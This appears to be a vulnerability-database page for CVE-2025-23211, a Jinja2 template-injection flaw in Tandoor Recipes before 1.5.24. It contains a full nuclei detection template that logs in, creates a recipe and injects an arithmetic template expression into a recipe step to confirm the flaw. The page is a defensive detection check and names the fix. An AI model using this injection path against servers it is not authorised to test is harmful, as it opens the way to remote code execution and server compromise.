HexBrain

Browse / CVEs / CVE-2025-23211

CVE-2025-23211· CWE-94, CWE-1336

Tandoor Recipes < 1.5.24 - Jinja2 SSTI RCE

criticalseverity
9.9CVSS score
3.7%likelihood of exploitation, next 30 days
90%of all CVEs are less likely
Readycheck to confirm it

Tandoor Recipes < 1.5.24 has a Jinja2 SSTI vulnerability that allows command execution via recipe steps.

Impact

Attackers can execute arbitrary code on the server by injecting malicious Jinja2 template expressions in recipe steps. This may lead to full server compromise, data disclosure, and privilege escalation.

Fix

Upgrade to Tandoor Recipes version 1.5.24 or later.

How to confirm it

Send: GET /accounts/login/
Send: POST /accounts/login/
Positive when: status 302
Send: POST /api/recipe/
Positive when: status 201
Send: PUT /api/recipe/{{recipe_id}}/
Positive when: status 200
Send: GET /api/recipe/{{recipe_id}}/
Positive when: contains "\"instructions_markdown\"" and "{{result}}" AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2025-23211 -u <target>

The full check
id: CVE-2025-23211

info:
  name: Tandoor Recipes < 1.5.24 - Jinja2 SSTI RCE
  author: sammiee5311
  severity: critical
  description: |
    Tandoor Recipes < 1.5.24 has a Jinja2 SSTI vulnerability that allows command execution via recipe steps.
  impact: |
    Attackers can execute arbitrary code on the server by injecting malicious Jinja2 template expressions in recipe steps. This may lead to full server compromise, data disclosure, and privilege escalation.
  remediation: |
    Upgrade to Tandoor Recipes version 1.5.24 or later.
  reference:
    - https://github.com/TandoorRecipes/recipes/blob/4f9bff20c858180d0f7376de443a9fe4c123a50c/cookbook/helper/template_helper.py#L95
    - https://github.com/TandoorRecipes/recipes/commit/e6087d5129cc9d0c24278948872377e66c2a2c20
    - https://github.com/TandoorRecipes/recipes/security/advisories/GHSA-r6rj-h75w-vj8v
    - https://nvd.nist.gov/vuln/detail/CVE-2025-23211
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2025-23211
    epss-score: 0.03666
    epss-percentile: 0.89736
    cwe-id: CWE-94, CWE-1336
  metadata:
    verified: true
    max-request: 5
    shodan-query: html:"Tandoor Recipes"
  tags: cve,cve2025,rce,ssti,tandoor,jinja2,authenticated

variables:
  num1: "{{rand_int(800000, 999999)}}"
  num2: "{{rand_int(800000, 999999)}}"
  result: "{{to_number(num1)*to_number(num2)}}"

flow: http(1) && http(2) && http(3) && http(4) && http(5)

http:
  - raw:
      - |
        GET /accounts/login/ HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: body
        name: csrf
        group: 1
        regex:
          - 'name="csrfmiddlewaretoken" value="(.*?)"'
        internal: true

  - raw:
      - |
        POST /accounts/login/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        csrfmiddlewaretoken={{csrf}}&login={{username}}&password={{password}}&remember=on&next=%2F

    extractors:
      - type: regex
        part: header
        name: csrftoken
        group: 1
        internal: true
        regex:
          - 'csrftoken=([A-Za-z0-9]+)'

    matchers:
      - type: status
        status:
          - 302
        internal: true

  - raw:
      - |
        POST /api/recipe/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        X-CSRFToken: {{csrftoken}}

        {"name":"{{randstr}}","description":"","steps":[{"instruction":"","ingredients":[],"time":0,"order":0,"show_as_header":false,"show_ingredients_table":true}],"working_time":0,"waiting_time":0,"internal":true,"servings":1,"servings_text":""}

    extractors:
      - type: json
        part: body
        name: recipe_id
        internal: true
        json:
          - ".id"

      - type: json
        part: body
        name: step_id
        internal: true
        json:
          - ".steps[0].id"

    matchers:
      - type: status
        status:
          - 201
        internal: true

  - raw:
      - |
        PUT /api/recipe/{{recipe_id}}/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        X-CSRFToken: {{csrftoken}}

        {"id":{{recipe_id}},"name":"{{randstr}}","description":"","steps":[{"id":{{step_id}},"name":"","instruction":"\u007b\u007b({{num1}}*{{num2}})|int\u007d\u007d","ingredients":[],"time":0,"order":0,"show_as_header":false,"show_ingredients_table":true}],"working_time":0,"waiting_time":0,"internal":true,"servings":1,"servings_text":""}

    matchers:
      - type: status
        status:
          - 200
        internal: true

  - raw:
      - |
        GET /api/recipe/{{recipe_id}}/ HTTP/1.1
        Host: {{Hostname}}
        X-CSRFToken: {{csrftoken}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"instructions_markdown"'
          - '{{result}}'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from